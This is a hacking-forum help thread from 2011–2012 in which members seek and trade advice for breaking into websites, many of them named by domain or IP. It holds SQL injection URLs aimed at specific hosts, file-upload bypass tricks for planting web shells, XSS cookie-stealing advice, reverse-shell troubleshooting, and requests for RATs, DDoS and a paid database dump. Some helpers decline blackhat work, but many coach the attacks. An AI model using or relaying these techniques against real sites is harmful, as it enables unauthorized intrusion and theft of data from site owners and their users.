pm me if you need the website plz and thnx in advance :D

HaxOr? - November 22, 2011, 11:07 am

(Nov 22, 2011 12:02 PM)F3AR-abuSe Wrote: [\[CITE\]](#) Hey can you guys help me please ?

I'm new to website hacking trying to learn how but i got stuck.

i foun an admin page for the website e.g

<http://www.MY-SITE.co.za/wp-login.php>

then i added <http://www.MY-SITE.co.za/wp-login.php?id=15>

then it says something that i was blocked by a firewall.

is there a difrent way i can get the admin login details

pm me if you need the website plz and thnx in advance :D

From information you provided you are trying to SQL inject WordPress site and that it's not gonna happen'

You need to find exploit WordPress and try it on your site.

~X.x.X~ - November 22, 2011, 11:44 am

how can i find admin page using nmap pls tell some more

and also with dirbuster

No??????? - November 22, 2011, 12:47 pm

quote='~X.x.X~' pid='17573163' dateline='1321991057']

how can i find admin page using nmap pls tell some more
and also with dirbuster
[/quote]

You can only find ports/services with nmap so it's not effective for finding a websites admin page.
As for DlrBuster, I wouldn't advise using it as it will leave a lot of suspicious traffic on the logs.

Love-Is-Pain - November 22, 2011, 12:55 pm

Can I Exploit the administrator of site?

<http://www.inwi.ma/admin/welcome.php>

F3AR-abuSe - November 22, 2011, 1:40 pm

(Nov 22, 2011 12:07 PM)?? ? x O r ? Wrote: [\[CITE\]](#) From information you provided you are trying to
SQL inject WordPress site and that it's not gonna happen'

You need to find exploit WordPress and try it on your site.
ty ty :D il go and try it don't even know what i'm doing but it's fun

HaxOr? - November 22, 2011, 2:06 pm

(Nov 22, 2011 01:55 PM)Love-Is-Pain Wrote: [\[CITE\]](#) Can I Exploit the administrator of site?

<http://www.inwi.ma/admin/welcome.php>

Our thread is not about helping blackhat activity.

And what i see,i think you cant because it's on a private server and no vulnerability on the site
(Looked it reeeally quick)

Love-Is-Pain - November 22, 2011, 2:09 pm

(Nov 22, 2011 03:06 PM)?? ? x O r ? Wrote: [\[CITE\]](#) Our thread is not about helping blackhat activity.

And what i see,i think you can because it's on a private server and no vulnerability on the site
(Looked it reeeally quick)

Alright thank you,i know that you are a really helpful and nice member so Sorry ;)

F3AR-abuSe - November 22, 2011, 2:24 pm

Sorry to bother again, i looked for wordpress exploit and none that i could find... bumer but i went
and looked for another sites admin page and came up with

www.MY-SITE.co.za/forum/adm/ <- then it says on the site

"Access to the Administration Control Panel is not allowed as you do not have administrative
permissions."

and if i do it www.MY-SITE.co.za:2083 then a thing asking for username and password pops up..
my Q is it possible to SQL inject this thing and if so how do i get the .php?=id thing in cuz if i put it
the thing just says no such website

HaxOr? - November 22, 2011, 2:25 pm

You could just post the website here and we will try to find it for you.

F3AR-abuSe - November 22, 2011, 3:36 pm

oh ok thnx didn't think it was allowd.

www.ericlouw.co.za

www.fragarena.co.za

www.mpld.co.za/forum

these are the sites I have been trying to learn on..
thnx for the effort :D

HaxOr? - November 22, 2011, 3:45 pm

<http://www.ericlouw.co.za> - There's 0% that site is vulnerable to SQLi
<http://www.fragarena.co.za/> - Same here.
<http://www.mpld.co.za/forum/> - It's a forum so you must find phpBB exploit for it.

HornDawgMcGee - November 22, 2011, 4:34 pm

Could any of you assist me in port forwarding my RAT through a VM?

Original Post:

<https://hackforums.net/showthread.php?tid=1941424>

F3AR-abuSe - November 22, 2011, 9:38 pm

lol thnx. figures all the sites i want to isnt workable. thnx for your effort! anay way i'll go look for something else :D il also try find a phpBB exploit.
and about the site thats not SQLi-able lol anay other tricks i can look for to get acces? or change something on it?

No??????? - November 23, 2011, 10:02 pm

(Nov 22, 2011 05:34 PM)HornDawgMcGee Wrote: [\[CITE\]](#) Could any of you assist me in port forwarding my RAT through a VM?

Original Post:

<https://hackforums.net/showthread.php?tid=1941424>

Your original thread was enough and RAT's are solely blackhat within this forum (my opinion).

SIM-888979 - November 25, 2011, 12:47 am

I need a c99 shell uploaded in a file manager that doesn't allow .php, or .asp.

Allows HTML, PNG, and more I think.

No??????? - November 25, 2011, 1:05 am

(Nov 25, 2011 01:47 AM)Zombot Wrote: [\[CITE\]](#) I need a c99 shell uploaded in a file manager that doesn't allow .php, or .asp.

Allows HTML, PNG, and more I think.

What have you tried so far? Try nullbytes and see if ".phtml" is allowed.

SIM-888979 - November 25, 2011, 1:26 am

(Nov 25, 2011 02:05 AM)Intercept Wrote: [\[CITE\]](#) What have you tried so far? Try nullbytes and see if ".phtml" is allowed.

I tried .php).jpg, .php;.jpg, .asp too.

.phtml is not allowed too.

No??????? - November 25, 2011, 3:01 am

(Nov 25, 2011 02:26 AM)Zombot Wrote: [\[CITE\]](#) I tried .php).jpg, .php;.jpg, .asp too.

.phtml is not allowed too.

Try .php%00.png. It sometimes works on shitty sites.

Mx. - November 25, 2011, 7:22 am

zombot are you sure you aint trying on the new fckeditor one?

elvinguitar - November 25, 2011, 7:31 pm

is it possible to display the cookies in title bar? because i've scan a site and the scanner says that it is vulnerable to xss and it is reflected in the <title>

K4Fr - November 25, 2011, 8:08 pm

i need help in shelling a site, i have tried these methods so far with no success :(

- 1.added gif89 in header of php
- 2.used %00
- 3.tried .php.jpg
- 4.edjpgcom
- 5..php;1.jpg

cant seem to bypass upload filter restrictions :/

PS. if you think you can help PM me or message here, and i will send you the site and admin login details :D

No?????? - November 26, 2011, 1:24 am

(Nov 25, 2011 08:31 PM)elvinguitar Wrote: [\[CITE\]](#) is it possible to display the cookies in title bar? because i've scan a site and the scanner says that it is vulnerable to xss and it is reflected in the <title>

Yes, it all depends on specifics though.

elvinguitar - November 26, 2011, 1:53 am

(Nov 26, 2011 02:24 AM)Intercept Wrote: [\[CITE\]](#) Yes, it all depends on specifics though. how can i do that? what script should i use?

No?????? - November 26, 2011, 1:59 am

(Nov 26, 2011 02:53 AM)elvinguitar Wrote: [\[CITE\]](#) how can i do that? what script should i use? It all depends on the vulnerability, I can't tell you specifically without more information.

elvinguitar - November 26, 2011, 2:12 am

(Nov 26, 2011 02:59 AM)Intercept Wrote: [\[CITE\]](#) It all depends on the vulnerability, I can't tell you specifically without more information.

i'm gonna PM you regarding this mate. :) thanks!

HaxOr? - November 26, 2011, 5:48 am

(Nov 25, 2011 09:08 PM)K4Fr Wrote: [\[CITE\]](#) i need help in shelling a site, i have tried these methods so far with no success :(

- 1.added gif89 in header of php
- 2.used %00
- 3.tried .php.jpg
- 4.edjpgcom
- 5..php;1.jpg

cant seem to bypass upload filter restrictions :/

PS. if you think you can help PM me or message here, and i will send you the site and admin login details :D

PM me and we'll work something out ?

No?????? - November 26, 2011, 8:20 pm

Still taking questions people post them here!

XileForev3r - November 26, 2011, 8:26 pm

If I were looking into getting into the Admin Control Panel on a forum running vBulletin, what would I need to do?

No?????? - November 26, 2011, 8:32 pm

(Nov 26, 2011 09:26 PM)XileForev3r Wrote: [\[CITE\]](#) If I were looking into getting into the Admin Control Panel on a forum running vBulletin, what would I need to do?

You would need to look for vulnerabilities for that version and if there were none you would need to check if it's on shared hosting and if the server is running any vulnerable services.

Radke - November 26, 2011, 8:54 pm

How would I go about decrypting a oscommerce hash?

I didn't use the layout since I don't think It applied. Also I have some questions about Team Intra, Is there anyone I can contact?

No?????? - November 26, 2011, 10:08 pm

(Nov 26, 2011 09:54 PM)Radke Wrote: [\[CITE\]](#) How would I go about decrypting a oscommerce hash?

I didn't use the layout since I don't think It applied. Also I have some questions about Team Intra, Is there anyone I can contact?

I'm not sure what sort of encryption they use, if you post the hash me or someone else should be able to identify it. Also, PM me if you want to ask questions about Intra.

Project13 - November 26, 2011, 10:21 pm

do you know any good free scanners that can scan for RFI vulns can you please inbox me with an answer thanks in advance

No?????? - November 26, 2011, 11:07 pm

(Nov 26, 2011 11:21 PM)Project13 Wrote: [\[CITE\]](#) do you know any good free scanners that can scan for RFI vulns can you please inbox me with an answer thanks in advance

Yes, Acunetix should do that and more, but it creates a lot of traffic.

Project13 - November 27, 2011, 1:20 am

(Nov 27, 2011 12:07 AM)Intercept Wrote: [\[CITE\]](#) Yes, Acunetix should do that and more, but it creates a lot of traffic.

ok thanks man I'll try it now or a bit latter but still thanks

066y - November 27, 2011, 10:16 am

Hi,

I was try inject this page

<http://46.47.145.210/bakaweb/login.aspx> For correction this inject

Code `http://46.47.145.210/bakaweb/login.aspx?categoryid=CAT52' 1=convert(int,(select top 1 table_name from information_schema.tables))`—but it doesnt working...any ideas or help?:)

Thanks

066y

Sql Ruined My life - November 27, 2011, 11:03 am

AH ,,help me ?

CAnt bypass the WAF.. Intercept i also read your tutorial about WAFS ,but i am still Stucked in this.

Code http://www.cobra.com.dz/produits_cat_detail.php?id=44

Shad0wzz - November 27, 2011, 2:43 pm

So Intra, you guys interested in helping me yet? :)

Ive gotten screwed by 3 ppl thus far in this forum.

Really looking for reliability on this job.

Pls PM me if you are up to helping me out :)

You can see my AD posted in request for hacking

<https://hackforums.net/showthread.php?tid=1950568>

Titled: Hack Wordpress 3.1.2 admin panel + dump Mysql DB - will pay \$1000+

HaxOr? - November 28, 2011, 4:15 am

(Nov 27, 2011 03:43 PM)Shad0wzz Wrote: [\[CITE\]](#) So Intra, you guys interested in helping me yet? :)

Ive gotten screwed by 3 ppl thus far in this forum.

Really looking for reliability on this job.

Pls PM me if you are up to helping me out :)

You can see my AD posted in request for hacking

<https://hackforums.net/showthread.php?tid=1950568>

Titled: Hack Wordpress 3.1.2 admin panel + dump Mysql DB - will pay \$1000+

We don't do that jobs.

Better try it yourself.

And i don't think someone will belive you that you will pay 1000\$

Hooded Robin - November 28, 2011, 6:46 am

what is needed to add an SSH login to a hacked server or to make use of existing accounts/passwords and/or keys found (RSA/DSA)? Do you guys have any methods you might share with me (here or PM) to assist in getting this type of task done? Just looking for some more innovative ideas on what to do post exploitation, any help is aprecaited, thanks in advance!

066y - November 28, 2011, 1:35 pm

(Nov 27, 2011 11:16 AM)066y Wrote: [\[CITE\]](#) Hi,

I was try inject this page

<http://46.47.145.210/bakaweb/login.aspx> For correction this inject

Code [http://46.47.145.210/bakaweb/login.aspx?categoryid=CAT52'1=convert\(int,\(select top 1 table_name from information_schema.tables\)\)](http://46.47.145.210/bakaweb/login.aspx?categoryid=CAT52'1=convert(int,(select top 1 table_name from information_schema.tables)))—but it doesnt working...any ideas or help?:)

Thanks

066y

Pls, any ideas?:)

I'll be glad if you help me x)) just advice :-)

Shad0wzz - November 28, 2011, 1:43 pm

(Nov 28, 2011 05:15 AM)?? ? x O r ? Wrote: [\[CITE\]](#) We don't do that jobs.
Better try it yourself.

And i don't think someone will belive you that you will pay 1000\$
Ive already lost \$1500 in scams on this site trying to hire someone.
Ive got no issue paying for a job... the issue seems to be finding someone thats willing to do the job
and not scam...

Okay thnx, thought Id ask anyhow.

skjskj3 - December 1, 2011, 7:47 pm

how do you hack a site that is not sql vulnerable? also lets sey i go to website.com do i have to click
on some links to find a part of it that says website.com/php=5 that's when i go for the injection, i
have to explore the site first?

Illumin?ti - December 3, 2011, 2:30 pm

How do I find Vunreable websites to shell uploading is there a dork to search in Google?

I also found this great tutorial related to it: <https://hackforums.net/showthread.php?tid=1920966>

HaxOr? - December 4, 2011, 7:26 am

(Dec 3, 2011 03:30 PM)carnis Wrote: [\[CITE\]](#) How do I find Vunreable websites to shell uploading is
there a dork to search in Google?

I also found this great tutorial related to it: <https://hackforums.net/showthread.php?tid=1920966>
Just use SQL Injection and sometimes you will come up with shellable site..
Just be patient.

Hooded Robin - December 4, 2011, 7:33 am

anyone got any suggestions or links for my question regarding SSH access or adding of
keys/accounts?

No??????? - December 7, 2011, 9:32 pm

(Dec 4, 2011 08:33 AM)Hooded Robin Wrote: [\[CITE\]](#) anyone got any suggestions or links for my
question regarding SSH access or adding of keys/accounts?
Maybe this will help:

<http://www.techrepublic.com/blog/opensource/set-up-user-accounts-quickly-and-securely/86>

RahulHacker - December 7, 2011, 10:41 pm

PMing you intercept I need little help about LFI

~X.x.X~ - December 7, 2011, 10:53 pm

What about symlink?

pls make a tut or is there any good tut for it.

No??????? - December 8, 2011, 2:46 am

(Dec 7, 2011 11:53 PM)~X.x.X~ Wrote: [\[CITE\]](#) What about symlink?

pls make a tut or is there any good tut for it.
There are already many available, making another would be a waste of server space.

Mx. - December 8, 2011, 4:52 am

(Dec 7, 2011 11:53 PM)~X.x.X~ Wrote: [\[CITE\]](#) What about symlink?

pls make a tut or is there any good tut for it.

And i already posted a good script to symlink with, go through the pages to find it..

Hooded Robin - December 8, 2011, 6:06 am

Thanks Intercept, this is at least a start in the right direction! I read another article somewhere that referenced creating the keys locally and then dropping them off on the target server to allow your keys to work, but having a hard time finding any more details on how to pull it off in the wild...

No??????? - December 8, 2011, 12:07 pm

(Dec 8, 2011 07:06 AM)Hooded Robin Wrote: [\[CITE\]](#) Thanks Intercept, this is at least a start in the right direction! I read another article somewhere that referenced creating the keys locally and then dropping them off on the target server to allow your keys to work, but having a hard time finding any more details on how to pull it off in the wild...

I'm not quite sure what you mean but you can generate keys locally.

Windows:

http://kb.siteground.com/article/How_to_generate_an_SSH_key_on_Windows_using_PuTTY.html

Linux: http://kb.siteground.com/article/How_to_generate_an_SSH_key_in_Linux.html

-DownFall - December 8, 2011, 5:07 pm

Was wondering if one of you can reply here or at my other thread about shelling sites with safe mode.

<https://hackforums.net/showthread.php?tid=1992641>

I wouldn't have made a thread, but I forgot about this help thread.

Thanks.

bornfighting - December 8, 2011, 6:08 pm

I need help.

Would some be kind enough to teamview me.

Best Regards's.

~xXx~ - December 10, 2011, 3:43 am

well guys i have a target website which is on windows OS and ASP type of file included.

after checking it over Acutenix vulnerability scanner i am getting lots of good feel as its near to vulnerable as much as i see..

so can anyone tell me how to hack a windows website ? and also how get its db ??

thanks Guys !

here is some more detail of the server they are running:

Attack details

Information disclosure pattern found: Microsoft .NET Framework Version:2.0.50727.4952; ASP.NET Version:2.0.50727.4955

Le Flou - December 10, 2011, 4:13 am

(Dec 10, 2011 04:43 AM)iCodeDTech™ Wrote: [\[CITE\]](#) well guys i have a target website which is on windows OS and ASP type of file included.

after checking it over Acutenix vulnerability scanner i am getting lots of good feel as its near to vulnerable as much as i see..

so can anyone tell me how to hack a windows website ? and also how get its db ??

thanks Guys !

here is some more detail of the server they are running:

Attack details

Information disclosure pattern found: Microsoft .NET Framework Version:2.0.50727.4952; ASP.NET Version:2.0.50727.4955

If is it vuln on sqli then check this tut

<https://hackforums.net/showthread.php?tid=729076>

Nesquik - December 10, 2011, 4:18 am

Vouch for teamintra.

-MrThreeCs.

Fuck why 35.

~xXx~ - December 10, 2011, 5:38 am

nah i don't think its SQLi vulnerable..

if anyone wanna test i can pass the test result to someone good old and trusted here.

and using SQLi i only get column name and nothing more.. as more i think i get this at last while finding tables-

information_schema.mdb

:P

fistoffurypowerman - December 10, 2011, 1:21 pm

hey hi...

there are many sql injection sites resembling the format

http://kvbina.org/index.php?option=com_content&view=article&id=46&Itemid=55

most sql injection methods do not work on them...

i want to know if there is anything which can be exploited with sqli in websites like these ??

Ubaste - December 10, 2011, 2:18 pm

Hey Team intra, so now I gonna use your help threads :P

I'm trying to get a shell on the server (Not a php shell. A real shell. Backconnection.)

When I try the " nc -l -n -v -p port " its just tell me this " Retrying 0.0.0.0:port " 4 times, and then say

its unable to bind 0.0.0.0 on the port. Its forwarded and all that shit.
I will appreciate any help.

HaxOr? - December 10, 2011, 3:40 pm

(Dec 10, 2011 02:21 PM)fistoffurypowerman Wrote: [\[CITE\]](#) hey hi...

there are many sql injection sites resembling the format

http://kvbina.org/index.php?option=com_content&view=article&id=46&Itemid=55

most sql injection methods do not work on them...

i want to know if there is anything which can be exploited with sqli in websites like these ??

It's powered by Joomla software...Look it up on Google and you will see.

(Dec 10, 2011 03:18 PM)ch0pzer Wrote: [\[CITE\]](#) Hey Team intra, so now I gonna use your help threads :P

I'm trying to get a shell on the server (Not a php shell. A real shell. Backconnection.)

When I try the " nc -l -n -v -p port " its just tell me this " Retrying 0.0.0.0:port " 4 times, and then say its unable to bind 0.0.0.0 on the port. Its forwarded and all that shit.

I will appreciate any help.

Did you portforwarded?

You must have your port open (Like 443) in order to connect to the server.

Ubaste - December 10, 2011, 3:50 pm

Ye, I forwarded the port I used to try to make a backconnection. And I tested it was forwarded. Could it be because of some sort of security on the server? I could send you the shell link if you want to give it a try. I trust you so ^^

HaxOr? - December 10, 2011, 3:57 pm

Yea sure you can send me...

Do you have your firewall on?

Maybe it's blocking connections.

Ubaste - December 10, 2011, 4:05 pm

I enabled it in the firewall aswell, and I was possible to do a backconnect before.. But not to this server. Was a different one. So my last guess was it has to be something to do with either Backtrack, or the servers security. Sending you the shell right now.

HaxOr? - December 11, 2011, 4:00 am

I have succesfully backconnected to it...Mayby it's the shell.

Try GNY shell that i uploaded.

(Dec 10, 2011 04:43 AM)iCodeDTech™ Wrote: [\[CITE\]](#) well guys i have a target website which is on windows OS and ASP type of file included.

after checking it over Acutenix vulnerability scanner i am getting lots of good feel as its near to vulnerable as much as i see..

so can anyone tell me how to hack a windows website ? and also how get its db ??

thanks Guys !

here is some more detail of the server they are running:

Attack details

Information disclosure pattern found: Microsoft .NET Framework Version:2.0.50727.4952; ASP.NET Version:2.0.50727.4955

Can you PM me or post here...I want to check it out :)
But remember,sometimes Acunetix is giving false positives.

No??????? - December 13, 2011, 7:16 pm

(Dec 10, 2011 05:05 PM)ch0pzer Wrote: [\[CITE\]](#) I enabled it in the firewall aswell, and I was possible to do a backconnect before.. But not to this server. Was a different one. So my last guess was it has to be something to do with either Backtrack, or the servers security. Sending you the shell right now. Try the server that worked before (in BackTrack), that should clear it up.

-zerocool - December 13, 2011, 11:08 pm

Error based SQLi..

I could not get tables and columns..Gives me 406 not acceptable...

I am only able to find its version,database,user..please have a look at it.

Spoiler ([Click to View](#))Code `http://www.mp3hungama.com/music/genre_albums.php?id=3 and(select 1 from(select count(*),concat((select (select%0aconcat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)..`

Can you please tell me how can i get table???

t0mb.exe - December 14, 2011, 2:08 am

How can i setup something that if i have their ip i can fource them to goto a website, DDoS them or anything? :O

-Please, can anyone inbox help me? :D

No??????? - December 14, 2011, 6:42 pm

(Dec 14, 2011 12:08 AM)d4rkn3ss Wrote: [\[CITE\]](#) Error based SQLi..

I could not get tables and columns..Gives me 406 not acceptable...

I am only able to find its version,database,user..please have a look at it.

Spoiler ([Click to View](#))Code `http://www.mp3hungama.com/music/genre_albums.php?id=3 and(select 1 from(select count(*),concat((select (select%0aconcat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)..`

Can you please tell me how can i get table???

It's most-likely a WAF, try some common bypass methods like comments and capitalization.

(Dec 14, 2011 03:08 AM)t0mb.exe Wrote: [\[CITE\]](#) How can i setup something that if i have their ip i can fource them to goto a website, DDoS them or anything? :O

-Please, can anyone inbox help me? :D

It sounds like you're talking about an RAT, this thread does not cover them.

KoolKidsloveKoolAid - December 18, 2011, 12:47 pm

Hello! I recently got `<script>alert("test")</script>` to execute on a search box on a website. Is there anyway this can be utilized for exploitation? Thanks.

HaxOr? - December 18, 2011, 12:59 pm

(Dec 18, 2011 01:47 PM)KoolKidsloveKoolAid Wrote: [\[CITE\]](#) Hello! I recently got `<script>alert("test")</script>` to execute on a search box on a website. Is there anyway this can be utilized for exploitation? Thanks.

Yes..

Setup an cookie stealer and steal admin account.

Hooded Robin - December 18, 2011, 1:43 pm

Can anyone give me hand with this: <https://hackforums.net/showthread.php?tid=2022201>

I just looking for some confirmation on abusing existing shell script to execute proper commands on Linux host, any help is appreciated!

Anarchy™ - December 18, 2011, 2:10 pm

Vulnerable Link: <http://www.mavband.com>

Question/Problem: I know it is vulnerable because it's using proftpd 1.3.1 I tried to look up a way to exploit it through metasploit but i had no luck. If you can help me out that would be awesome :)

KoolKidsloveKoolAid - December 19, 2011, 12:40 am

(Dec 18, 2011 01:59 PM)?? ? x O r ? Wrote: [\[CITE\]](#) Yes..

Setup an cookie stealer and steal admin account.

Thanks. Just found a sweet XSS shell to use that has that feature ^ _ ^

~X.x.X~ - December 22, 2011, 1:09 am

i hv some sites

i try some to find admin pg but did not found.

now m gonna bruteforce dir's.

but never try before.

pls tell me some how can i bruteforce dir's with dir buster.

thnx

Burnzy - December 22, 2011, 1:11 am

team is very inactive lately on hf so maybe help wont be so quick. we should get back on track by holidays.

Verilog - January 5, 2012, 9:53 pm

Vulnerable Link: My site got hacked sir, and the forum was just installed.

Question/Problem: Full details here <https://hackforums.net/showthread.php?tid=2080360>

And i appreciate you guys

thesnipair.24 - January 6, 2012, 4:16 am

Hi

i need help hacking a website i have alot of info about it just need help finding exploits or anything to help me hacking it ...

if you can help plz pm me.

Thanks.

p.m - January 6, 2012, 4:29 am

guys please tell me how to hack facebook password

c0c4c0l4 - January 6, 2012, 5:16 am

How are exploits written? How are usual exploits in example on exploit-db made?
I know I have to learn for 10 years till I'm able to write such an exploit. Just wonder...
Maybe you know a blog or some tutorials?

thesnipair.24 - January 6, 2012, 5:30 am

i already searched alot but i didn't find the exploits that i want ..!!!

ajjt - January 6, 2012, 6:45 am

Is it possible to bypass config.php. If it's not chmod.
Whats best option to secure config.php?

wrathofphnx - January 6, 2012, 12:01 pm

Just a quick and simple yes or no questions.. Is " Vran.info " hackable?..

EthicalPractice - January 8, 2012, 4:02 pm

(Jan 6, 2012 01:01 PM)wrathofphnx Wrote: [\[CITE\]](#) Just a quick and simple yes or no questions.. Is " Vran.info " hackable?..

From first glance - No, <http://sameip.org/ip/72.55.131.115> vran.info is not hackable via the shared server symlink technique, however it may be if you find a vulnerable application hosted on their servers.

Alphaseek - April 8, 2012, 10:46 am

Vulnerable Link: <http://www.site.com/./timthumb.php>

Question/Problem: I heard it can be exploited using LFI by [http://www.site.com/./timthumb.php?src=\[LFI\]](http://www.site.com/./timthumb.php?src=[LFI]) and what exactly should be in the LFI . I did some LFI in sites but I can't figured this out. A help would be really appreciated.

I hope you are continuing your service , thanks for helping.

einbrettholz - April 8, 2012, 12:54 pm

I have a couple of questions no one can really tell me the answer to.

0. Is TOR really safe if my exit node is legit?
1. Are the Feds monitoring No-IP.com? How to Rat anon?
2. I have a site with Joomla! 1.5, which is vulsy to that password reset exploit everyone and their mom knows. but it still wont work :B wtf?
3. I set up a homeserver to test the mybb 1.6.4 metasploit exploit. i installed exactly the right version, exploit is executed but no session is created wtf?

thanks guys

1bh

games-lol-owned - April 8, 2012, 1:07 pm

i have a few question's.

- 1) if you have 100 red cars and 10 blue cars and sam buys 6 red 1 blue how may cars did frank buy?
- 2) dose mx sing on skype?

heheh

Onix - April 8, 2012, 1:11 pm

i sqlied a website but i cant find the admin panel to login i used a lot of admin page finders but i found nothing i even made my own to find the admin page using my own queries, however, can the admin panel be a port eg: www.website.com:3445 if yes whats the possible port for the admin panel ?

Videron - April 8, 2012, 1:18 pm

How can I write ' if mysql_real_escape_string is on ?

SIM-1073426 - April 8, 2012, 1:52 pm

If you get access to a website is it then possible to get access to the computer its running on?

HaxOr? - April 8, 2012, 2:08 pm

(Apr 8, 2012 10:46 AM)Alphaseek Wrote: [\[CITE\]](#) Vulnerable Link:

<http://www.site.com/..timthumb.php>

Question/Problem: I heard it can be exploited using LFI by [http://www.site.com/..timthumb.php?src=\[LFI\]](http://www.site.com/..timthumb.php?src=[LFI]) and what exactly should be in the LFI . I did some LFI in sites but I can't figured this out. A help would be really appreciated.

I hope you are continuing your service , thanks for helping.

You should read up on LFI mate.

Go here <https://hackforums.net/showthread.php?tid=2008347> and scroll to "--Local File Inclusion Tutorials--"

(Apr 8, 2012 01:11 PM)Onix Wrote: [\[CITE\]](#) i sqlied a website but i cant find the admin panel to login i used a lot of admin page finders but i found nothing i even made my own to find the admin page using my own queries,

however, can the admin panel be a port eg: www.website.com:3445

if yes whats the possible port for the admin panel ?

Yes,admin can be on ports.

Use nmap (Download it here <http://nmap.org/download.html>)

Or if you have Metasploit (Or Backtrack),run metasploit console and type:

Code nmap sitesip -sV

Le Flou - April 8, 2012, 3:43 pm

(Apr 8, 2012 01:07 PM)games-lol-owned Wrote: [\[CITE\]](#) i have a few question's.

1) if you have 100 red cars and 10 blue cars and sam buys 6 red 1 blue how may cars did frank buy?

2) dose mx sing on skype?

heheh

RETARD

(Apr 8, 2012 12:54 PM)einbrettholz Wrote: [\[CITE\]](#) I have a couple of questions no one can really tell me the answer to.

0. Is TOR really safe if my exit node is legit?

1. Are the Feds monitoring No-IP.com? How to Rat anon?

2. I have a site with Joomla! 1.5, which is vulsy to that password reset exploit everyone and their mom knows. but it still wont work :B wtf?

3. I set up a homeserver to test the mybb 1.6.4 metasploit exploit. i installed exactly the right version, exploit is executed but no session is created wtf?

thanks guys

1bh

0. Yeah but i heard the feds were the ones who created tor

1. They are monitoring all.

2. wtf ?

3. <http://www.youtube.com/watch?v=rc7gXZOoUcc>

(Apr 8, 2012 01:52 PM)theblackduck421 Wrote: [\[CITE\]](#) If you get access to a website is it then possible to get access to the computer its running on?

Everything is possible

?

Alphaseek - April 8, 2012, 4:46 pm

(Apr 8, 2012 10:46 AM)Alphaseek Wrote: [\[CITE\]](#) Vulnerable Link:

<http://www.site.com/./timthumb.php>

Question/Problem: I heard it can be exploited using LFI by [http://www.site.com/./timthumb.php?src=\[LFI\]](http://www.site.com/./timthumb.php?src=[LFI]) and what exactly should be in the LFI . I did some LFI in sites but I can't figured this out. A help would be really appreciated.

I hope you are continuing your service , thanks for helping.

(Apr 8, 2012 02:08 PM)?? ? x O r ? Wrote: [\[CITE\]](#) You should read up on LFI mate.

Go here <https://hackforums.net/showthread.php?tid=2008347> and scroll to "--Local File Inclusion Tutorials--"

Thank you for replying , I'm glad that you answered by question.

I have already seen few of the TuT on LFI , the thing in which I'm confused is that the what should be after the src=

In the LFI tut , mostly the proc/self/envIRON is used for exploitation but this does not apply in the timthumb.php , the RFI is difficult for me since the shell should be in the \$allowed_sites array but since I got familiar that LFI is possible in timthumb . So , what exactly should be the code injection to make it LFI attack in timthumb . A little help would be really appreciated.

Again , thanks for replying and helping me out.

HaxOr? - April 8, 2012, 5:14 pm

(Apr 8, 2012 04:46 PM)Alphaseek Wrote: [\[CITE\]](#) Thank you for replying , I'm glad that you answered by question.

I have already seen few of the TuT on LFI , the thing in which I'm confused is that the what should be after the src=

In the LFI tut , mostly the proc/self/envIRON is used for exploitation but this does not apply in the timthumb.php , the RFI is difficult for me since the shell should be in the \$allowed_sites array but since I got familiar that LFI is possible in timthumb . So , what exactly should be the code injection to make it LFI attack in timthumb . A little help would be really appreciated.

Again , thanks for replying and helping me out.

Basicly it could be anything.

You can use php://input or something like that.

Google is your friend.

turbofreak2010 - April 10, 2012, 9:38 am

Hi there,

I wanted to ask you what can I do with scripts.js I found on one site?

Can I somehow use that script to be useful to myself (to access some parts of site, to get some vote/donate points)?

It's about vote points/donation points script.

I can send it to you if you want to check it?

I searched on this forum and on google, but I couldn't find anything useful.

RIPPER - April 12, 2012, 6:31 am

after learning some sql, XSS, LFI, RFI, Rooting, Symlinking is there something to learn more besides trying to invent 0day exploits

And show me good tuts of those plz

Peace.

Hooded Robin - April 12, 2012, 6:57 am

@turbofreak2010 - It literally will vary from site to site, you never really know what is in the source until you review it in detail. It isn't always the funniest part but it can yield high results from time to time. Typically you will only be able to see how client side checks are being performed or things of this nature, occasionally you might find a password stuff right in the code. Again you kind of need and hope for the stars. If you find an XSS or something you can possibly leverage your understanding of the .js file(s) running behind the scenes to put something together like in AntiPaste's XSS Worm writeup.

@Ripper - never stop learning there are constantly new techniques and methods being revealed to do the same old tricks so I suggest trying to learn some programming so you can have an easier time in understanding 0days and come up with a few on your own. If you feel beat up start researching things like POST exploitation (pivoting, rooting, escalating privileges,) or Buffer Overflows. Always something new out there if you just look :)

RIPPER - April 12, 2012, 10:37 am

(Apr 12, 2012 06:57 AM)Hooded Robin Wrote: [\[CITE\]](#) @Ripper - never stop learning there are constantly new techniques and methods being revealed to do the same old tricks so I suggest trying to learn some programming so you can have an easier time in understanding 0days and come up with a few on your own. If you feel beat up start researching things like POST exploitation (pivoting, rooting, escalating privileges,) or Buffer Overflows. Always something new out there if you just look :)

Ye thx for those post exploitation thingies..And btw I'm learning C++ currently

Shizzlez - June 25, 2012, 9:39 am

Vulnerable Link: [http://www.instantgallery.de/index.php?page=Test<script>alert\("sup"\);</script>](http://www.instantgallery.de/index.php?page=Test<script>alert('sup');</script>)

Question/Problem: I need to get a list of all directories and Files on that webserver. I know there is a way. PHPInfo(), .htaccess and CGIText.exe are possible to watch.

<http://www.instantgallery.de/phpinfo.php>

<http://www.instantgallery.de/cgi-win/cgitest.exe>

<http://www.instantgallery.de/.htaccess>

Anybody who could help me ? ;s

| Solo | - June 25, 2012, 9:55 am

why are you ing old ass threads? haha

Shizzlez - June 25, 2012, 9:56 am

Thought it's a Thread that never gets old :b

-DownFall - June 25, 2012, 11:25 am

(Jun 25, 2012 09:39 AM)Shizzlez Wrote: [\[CITE\]](#) Vulnerable Link:

[http://www.instantgallery.de/index.php?page=Test<script>alert\('sup'\);</script>](http://www.instantgallery.de/index.php?page=Test<script>alert('sup');</script>)

Question/Problem: I need to get a list of all directories and Files on that webserver. I know there is a way. PHPInfo(), .htaccess and CGIText.exe are possible to watch.

<http://www.instantgallery.de/phpinfo.php>

<http://www.instantgallery.de/cgi-win/cgittest.exe>

<http://www.instantgallery.de/.htaccess>

Anybody who could help me ? ;s

There's a way to spawn a shell using PHP Info, now I'm not really sure of the circumstances, but maybe you should PM Hooded Robin about it. There's not really a lot of documentation on it, perhaps it'll help you out.

kayouday - September 29, 2012, 12:49 am

Help me OUT..How Can I Sql Inject A Search Form Vulnerable to Xss..

Help me OUT..How Can I Sql Inject A Search Form Vulnerable to Xss..

Illicit - September 29, 2012, 2:08 am

(Oct 19, 2011 07:06 AM)Billa Suriya Wrote: [\[CITE\]](#) Sorry , I just need an info and I don't have the vulnerable link.

